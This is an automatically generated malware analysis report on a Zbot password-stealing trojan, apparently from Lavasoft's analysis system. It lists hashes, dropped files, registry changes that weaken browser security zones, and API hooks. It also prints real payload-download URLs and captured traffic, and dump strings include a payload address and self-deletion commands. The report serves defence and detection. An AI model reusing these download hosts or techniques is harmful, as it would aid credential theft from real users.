Trojan-PSW.Win32.Zbot_fb36bc3562

by malwarelabrobot on July 4th, 2014 in Malware Descriptions.

Trojan.Win32.Delf.dnzk (Kaspersky), Trojan.Win32.Zbot (A) (Emsisoft), Trojan.GenericKD.1730626 (AdAware), Trojan-PSW.Win32.Zbot.6.FD, GenericInjector.YR, BackdoorCaphaw_QKKBAL.YR, TrojanPSWZbot.YR (Lavasoft MAS)
Behaviour: Trojan-PSW, Trojan, Backdoor


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

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Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: fb36bc3562e0b557c15c6169c8b83dc1
SHA1: 93ec4485d83a48292109d94632fa9d26fc123860
SHA256: e1acbad49f17a468ea0b513596991a750cc5e5bdf005f3f2dd92cd572f3a36ca
SSDeep: 12288:DFszBhqS5mGlEJ1/tYgBwJ7Izk2bpXDGehhn:DFszWS5RlQFYgq9Izk2lXD3h5
Size: 641796 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2011-03-02 09:40:24
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan-PSW. Trojan program intended for stealing users passwords.

Payload

No specific payload has been found.

Process activity

The Trojan-PSW creates the following process(es):

main.exe:1712
%original file name%.exe:872
dialected.exe:1096
dialected.exe:996
edydx.exe:196
edydx.exe:476

The Trojan-PSW injects its code into the following process(es):

Explorer.EXE:884

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process main.exe:1712 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\dialected.exe (243 bytes)

The process %original file name%.exe:872 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\file.bin (5537 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\dialected.exe (243 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\HelloWorld!.bmp (724132 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\key.txt (21 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\main.exe (458 bytes)

The Trojan-PSW deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\dialected.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\__tmp_rar_sfx_access_check_1190265 (0 bytes)

The process dialected.exe:1096 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmpfb28054a.bat (201 bytes)
%Documents and Settings%\%current user%\Application Data\Queki\edydx.exe (243 bytes)

The process dialected.exe:996 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\file.bin (2321 bytes)

Registry activity

The process main.exe:1712 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "25 A2 C9 AD 84 10 40 46 30 4D BA 10 AC 93 A9 0D"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\RarSFX0]
"dialected.exe" = "dialected"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

The Trojan-PSW modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan-PSW modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan-PSW modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process %original file name%.exe:872 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1A CD 7C 38 A2 89 F8 F9 D4 3F BD 25 DB DC 6A B8"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\RarSFX0]
"main.exe" = "main"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan-PSW modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan-PSW modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan-PSW modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process dialected.exe:1096 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1A 49 A0 B5 CC 29 C2 E9 0D 10 92 FB F0 A4 80 B3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process dialected.exe:996 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "67 B7 71 74 88 82 05 7F EE 1C 4D 2B 06 B3 B3 D7"

The process edydx.exe:196 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9D 13 04 94 88 25 9B E2 F9 EF 5F 62 BE 3D 3D A0"

The process edydx.exe:476 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B3 A8 C0 7E AE 5C 8D EB CF E8 B8 8B C8 F2 56 F7"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

Dropped PE files

MD5 File path
575bb3e9a385602e3caa7a3828cf9569 c:\Documents and Settings\"%CurrentUserName%"\Application Data\Queki\edydx.exe
acc6bc07299aa9f45adbba2451c569dd c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\RarSFX0\main.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan-PSW installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetQueryDataAvailable
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle

The Trojan-PSW installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan-PSW installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan-PSW installs the following user-mode hooks in WS2_32.dll:

WSASend
send
closesocket

The Trojan-PSW installs the following user-mode hooks in kernel32.dll:

GetFileAttributesExW

The Trojan-PSW installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
NtCreateThread

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 71904 72192 4.54088 ead411693117dae8deb088f5bb4a85fa
.rdata 77824 7189 7680 3.37233 e70f56667b8e99a1ec239fd12b1640b4
.data 86016 65324 512 2.43883 11ffdfc240c81dfe9d957f6bf1761f00
.CRT 151552 16 512 0.147711 acdfc3df6b189cbcd09b1c888f95fe9a
.rsrc 155648 16504 16896 3.22639 07900c12e5057f1fe09434dd1b743c9f

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 77
80284946036519ada15d3ba9a34f1bf8
3de16d459316d121f44b896767e4f4c9
a3871ef5ee43093314dbe037dbba13ef
96d9965d73d2f5717a1a5dfc9f558d75
88fb49cd4ae60d6a5e9036b8399ee5b2
9d697af13dbb6d554aec40265b3924b7
9dfa98758bc21f3be9c241857d5bc88c
fa4b8bd532752d63ff802c38cb6c97c4
7a45d595beb603e1cfa59ebf682ba3f9
abfb0f1530eda2230623a5022d4255e8
8a7b4ff5717f728c2992894e11e65a66
d0ca61d3e05d7bacf832cf226524e615
e954f2fc4e464a66ee967d173d2a85db
6b0c93ccaa4e3f99a3acf43b4b900af8
4cda024141dcf4233f8cd7f1c1923948
9f43f96c68d367228938971f146bdc1c
4358512a2c3c9d8e5150994839fa0057
5502469ccd2ab84bf80a743d1ff5847d
b007437f4b9a916dedc666cc3f3e1256
657c7ed354bccdd16b37a35995e5bcd5
27b015e9020309e52e2281d40d05c5b2
c4332d7de3dbe5e316f9c8723326757d
8bdfc7c221114939d2cd58b73cd34081
1347fd55eca31326583a06c566328aaf
cdd49571673d7fb9eb33feea0548a14e

URLs

URL IP
hxxp://vipkredit.com.ua/wp-blog/modules/vipk.bin 91.197.129.190
hxxp://vipkredit.com.ua/wp-blog/modules/mod1.bin 91.197.129.190
hxxp://vipkredit.com.ua/wp-blog/modules/mod2.bin 91.197.129.190
hxxp://vipkredit.com.ua/wp-blog/modules/mod3.bin 91.197.129.190
hxxp://www.google.com/webhp 173.194.113.209
hxxp://www.google.com.ua/webhp?gfe_rd=cr&ei=2eC0U-S3FMyk8weL44HQDg 173.194.113.216


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET CURRENT_EVENTS Zbot Generic URI/Header Struct .bin

Traffic

GET /webhp?gfe_rd=cr&ei=2eC0U-S3FMyk8weL44HQDg HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.google.com.ua
Cache-Control: no-cache
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 03 Jul 2014 04:49:29 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Set-Cookie: PREF=ID=8354d41f3739e51a:FF=0:TM=1404362969:LM=1404362969:S=Aw5odtFHbH_Fdplr; expires=Sat, 02-Jul-2016 04:49:29 GMT; path=/; domain=.google.com.ua
Set-Cookie: NID=67=QqK7b8ouOdSgUlzWZ-r-DoEdf-PDMT6w-FkCYvg9iJPIQjUdTPenQkITDYqEdthib2RSb7_fyX1BOHEsPwbriGBNHZL1X1Ed7BhzxVGDfq4htZdr5rg_5j589b9bLyUQ; expires=Fri, 02-Jan-2015 04:49:29 GMT; path=/; domain=.google.com.ua; HttpOnly
P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic
Transfer-Encoding: chunked
4bc8..<!doctype html><html itemscope="" itemtype="hXXp://sche
ma.org/WebPage" lang="uk"><head><meta content="text/html;
charset=UTF-8" http-equiv="content-type"><meta content="/images/
google_favicon_128.png" itemprop="image"><title>Google</ti
tle><script>(function(){.window.google={kEI:"2eC0U6nGHInV4QSR
4IGgBg",getEI:function(a){for(var c;a&&(!a.getAttribute||!(c=a.getAttr
ibute("eid")));)a=a.parentNode;return c||google.kEI},https:function(){
return"https:"==window.location.protocol},kEXPI:"4791,17259,4000116,40
07661,4007830,4008142,4009033,4009641,4010806,4010858,4010899,4011228,
4011258,4011679,4012373,4012504,4013395,4013414,4013591,4013723,401378
7,4013823,4013967,4013979,4014016,4014093,4014431,4014515,4014636,4014
671,4014804,4014991,4015234,4015236,4015260,4015266,4015550,4015587,40
15633,4015772,4015989,4016097,4016127,4016309,4016367,4016372,4016487,
4016824,4016855,4016976,4017162,4017204,4017280,4017285,4017544,401755
4,4017595,4017612,4017639,4017681,4017694,4017710,4017742,4017818,4017
881,4017894,4017902,4017913,4017981,4018009,4018019,4018030,4018126,40
18159,4018283,4018363,4018411,4018416,4018480,4018511,4018519,4018532,
4018542,4018554,4018569,4018621,4018638,4018758,4018914,4018923,401893
3,4019005,4019017,4019074,4019084,4019089,4019142,4019181,4019184,4019
191,4019200,4019205,4019268,4019281,4019339,4019415,4019423,4019427,40
19429,4019438,4019590,4019661,8300012,8300027,8300029,8300057,8500223,
8500256,8500272,8500306,8500357,8500365,8500394,8500421,8500433,85

<<< skipped >>>

GET /webhp HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.google.com
Cache-Control: no-cache


HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: hXXp://VVV.google.com.ua/webhp?gfe_rd=cr&ei=2eC0U-S3FMyk8weL44HQDg
Content-Length: 267
Date: Thu, 03 Jul 2014 04:49:29 GMT
Server: GFE/2.0
Alternate-Protocol: 80:quic
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/webhp?gfe_rd=cr&ei=2eC0U-S
3FMyk8weL44HQDg">here</A>...</BODY></HTML>..HTTP/
1.1 302 Found..Cache-Control: private..Content-Type: text/html; charse
t=UTF-8..Location: hXXp://VVV.google.com.ua/webhp?gfe_rd=cr&ei=2eC0U-S
3FMyk8weL44HQDg..Content-Length: 267..Date: Thu, 03 Jul 2014 04:49:29
GMT..Server: GFE/2.0..Alternate-Protocol: 80:quic..<HTML><HEA
D><meta http-equiv="content-type" content="text/html;charset=utf
-8">.<TITLE>302 Moved</TITLE></HEAD><BODY>.
<H1>302 Moved</H1>.The document has moved.<A HREF="http
://VVV.google.com.ua/webhp?gfe_rd=cr&ei=2eC0U-S3FMyk8weL44HQDg">
;here</A>...</BODY></HTML>....


GET /wp-blog/modules/mod1.bin HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2)
Host: vipkredit.com.ua
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 03 Jul 2014 04:49:04 GMT
Server: Apache
Last-Modified: Sat, 05 Oct 2013 05:44:34 GMT
Accept-Ranges: bytes
Content-Length: 9216
Connection: close
Content-Type: application/octet-stream
...w......q...\......hl..H`..6...;X{.L..C...h.s<.~..>....i`..275
a..........n...._.J..}l).....k.t8..T.....?....A):.nLG.z$...8.:...V*..*
..........i ..o.aH........%I..i....V.._w[%...|.3.K...k...;.;X{.L..C...
h.s<..V?2.....n*...m..I..\.q..~2.,...g...P......%0M..8b............
.oc.......8.P..mJ...(*I\..{....;.r. ....dC.d*:W.....13.j..g1d.F..e....
l....s....u.;X{.L..C...h.s<...$...O...'t<...;X{.L..C...h.s<.;
X{.L..C...h.s<.X.e.`..&........;X{.L..C...h.s<..........`.....3.
...Bj.5:p.....B1...MGc3..M}....t.......-m....a.Ab......V.....=.f.j.(j.
9.Z$...;.....1. ..9%..n.}d...G..U..J]Q..<..C[g#.{;[....2..5.0..D.n.
.(.K..-ig....j.|...;..;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C..
.h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.
L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<
;.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...
h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L
..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<
.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h
.s<l..1[...7u_...d.2....lC....<~.K................n.A..c8..>.
...Y&.l..g.#x.../...<.V4......f.....V..d...l./.3|.R,RQ..GO...e.H...
.:,>G.)...*5.&.s.(..T..E..o...2'..E..nF...x.K...z......p.2.A.)..k7.
...<.}]H.2.W~EuO.........Y..'..a8.?/..?......9>8`.7M3...h7 ..U.F
...kt....o.?...{.\.(.&....{....B.......;^.i.!/.M...a..I....Y.N-#a.....
7C16D.. ...As..=~..yB..5.b.@K..]...I...T.M... ".wf..X..E.i T;.....

<<< skipped >>>

GET /wp-blog/modules/mod2.bin HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2)
Host: vipkredit.com.ua
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 03 Jul 2014 04:49:04 GMT
Server: Apache
Last-Modified: Sat, 05 Oct 2013 05:45:02 GMT
Accept-Ranges: bytes
Content-Length: 8704
Connection: close
Content-Type: application/octet-stream
...w......q...\......hl..H`..6...;X{.L..C...h.s<.~..>....i`..275
a..........n...._.J..}l).....k.t8..T.....?....A):.nLG.z$...8.:..W..p..
..'N."...1.dq;x........N$...A...w.Fh..c|..8u..4:)R..`...]..;X{.L..C...
h.s</{g.A.s.q%...W...,.8V...sg.X'..........;K,;....(.......p3-S....
Hoc.......8.P..mJ}.7.....A!*>...Lr. ....dC.d*:W..z..n.=7.@....M...'
.......?Q...{..;X{.L..C...h.s<$.O8T.W(...h.4N..;X{.L..C...h.s<.;
X{.L..C...h.s<.H.Z.f~.x..3...0.;X{.L..C...h.s<..........`......'
.@B.O.GI....=.B1...MGc3..M}...D=..l.[..Z7v...f6....6w..,)|.....f.j.(j.
9.Z$...;*.....X.\ek6.8.?}d...G..U..J]Q..T:....U..J....3..S.-b..ZN.T.Ci
...-ig....j.|...;..;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.
s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..
C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;
X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s
<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C
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.......[.&.-..tX6....k.@B...j.z.$............ <ZO.o..3.....9Q9w....
...oTb.yj.2.x......{ Pu..........E!.'.s..S.XR...%Q.j.........p..,.

<<< skipped >>>

GET /wp-blog/modules/mod3.bin HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
Host: vipkredit.com.ua
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 03 Jul 2014 04:49:04 GMT
Server: Apache
Last-Modified: Sat, 05 Oct 2013 05:45:58 GMT
Accept-Ranges: bytes
Content-Length: 8192
Connection: close
Content-Type: application/octet-stream
...w......q...\......hl..H`..6...;X{.L..C...h.s<..52....~...{...a..
........n...._.J..}l).....k.t8..T.....?....A):.nLG.z$...8.:..R...zl/?}
&...yU..J.~..f1@...bK..V....V2. ..al.D....K..}J...' ....;X{.L..C...h.s
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<<< skipped >>>

GET /wp-blog/modules/vipk.bin HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2)
Host: vipkredit.com.ua
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 03 Jul 2014 04:48:58 GMT
Server: Apache
Last-Modified: Fri, 06 Jun 2014 12:53:24 GMT
Accept-Ranges: bytes
Content-Length: 1088
Connection: close
Content-Type: application/octet-stream
.(.m.p..K.....*..Y.crh.|I..4..w.L......>E..D.C...%.z../....=.......
.?[b.....l.R..Y.uC....=G.....k.......M9.\).....$.U.......#ate...c.7.1.
..,@..@.....e.......9.:.....|.A........S!......z1Rc|...f.]....q.b C...
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.D.3.~. ..KG.....D.3.~. ..KG.....D.3.~. ..Kb.,b.;....C~d...W...NXc....
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.....Z..S.o%..4....V..T..2.k\.K.... s.......v.a.d.CQ..n..\...G7[...


The Trojan-PSW connects to the servers at the folowing location(s):

Explorer.EXE_884_rwx_01CA0000_0002C000:

.text
`.data
.reloc
gdiplus.dll
GdiplusShutdown
ole32.dll
gdi32.dll
HTTP/1.1
http://vipkredit.com.ua/wp-blog/modules/vipk.bin
Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2)
pufjwdx.jvh
" !=%(>";;
=225;6%%7!=
3:6 1*7=$;-
*4*-0*1?7!
MK[(bocmdgs
15#77??68.
&'/( <99
$!*4,#)<:
mfh{g~amzgs.dgg
:; 1299;2
>.Rdd
<-?).$: (26
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
urlmon.dll
cabinet.dll
http://
https://
HTTP/1.
http://www.google.com/webhp
t7SSSh
t"SSSh
GetProcessHeap
KERNEL32.dll
MapVirtualKeyW
ExitWindowsEx
OpenWindowStationW
GetProcessWindowStation
CreateWindowStationW
CloseWindowStation
SetProcessWindowStation
SetKeyboardState
GetKeyboardState
MsgWaitForMultipleObjects
USER32.dll
RegOpenKeyExW
RegEnumKeyExW
RegCloseKey
RegCreateKeyExW
ADVAPI32.dll
UrlUnescapeA
SHDeleteKeyW
PathIsURLW
SHLWAPI.dll
ShellExecuteW
SHELL32.dll
Secur32.dll
SetViewportOrgEx
GDI32.dll
WS2_32.dll
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
PFXImportCertStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
CRYPT32.dll
HttpQueryInfoA
InternetCrackUrlA
HttpOpenRequestA
HttpAddRequestHeadersA
HttpSendRequestA
HttpSendRequestExA
HttpSendRequestExW
HttpSendRequestW
GetUrlCacheEntryInfoW
HttpAddRequestHeadersW
WININET.dll
OLEAUT32.dll
NETAPI32.dll
u4P%u
=?>#?.?;?
9%9)9/939
SysShadow
kernel32.dll
"%s" %s
/c "%s"
%sx.%s
%sx
cGlobal\XXX
Global\{A4046B38-BFBA-AD62-880A-CFE035797B74}
%Documents and Settings%\%current user%\Application Data
{9C299170-5427-1343-B5A2-D98D6C76A4CD}
%Documents and Settings%\%current user%\Application Data\Koal\yfet.icl
%Documents and Settings%\%current user%\Application Data\Koal
yfet.icl


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    main.exe:1712
    %original file name%.exe:872
    dialected.exe:1096
    dialected.exe:996
    edydx.exe:196
    edydx.exe:476

  3. Delete the original Trojan-PSW file.
  4. Delete or disinfect the following files created/modified by the Trojan-PSW:

    %Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\dialected.exe (243 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\file.bin (5537 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\HelloWorld!.bmp (724132 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\key.txt (21 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\main.exe (458 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\tmpfb28054a.bat (201 bytes)
    %Documents and Settings%\%current user%\Application Data\Queki\edydx.exe (243 bytes)
    %Documents and Settings%\%current user%\Application Data\file.bin (2321 bytes)

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.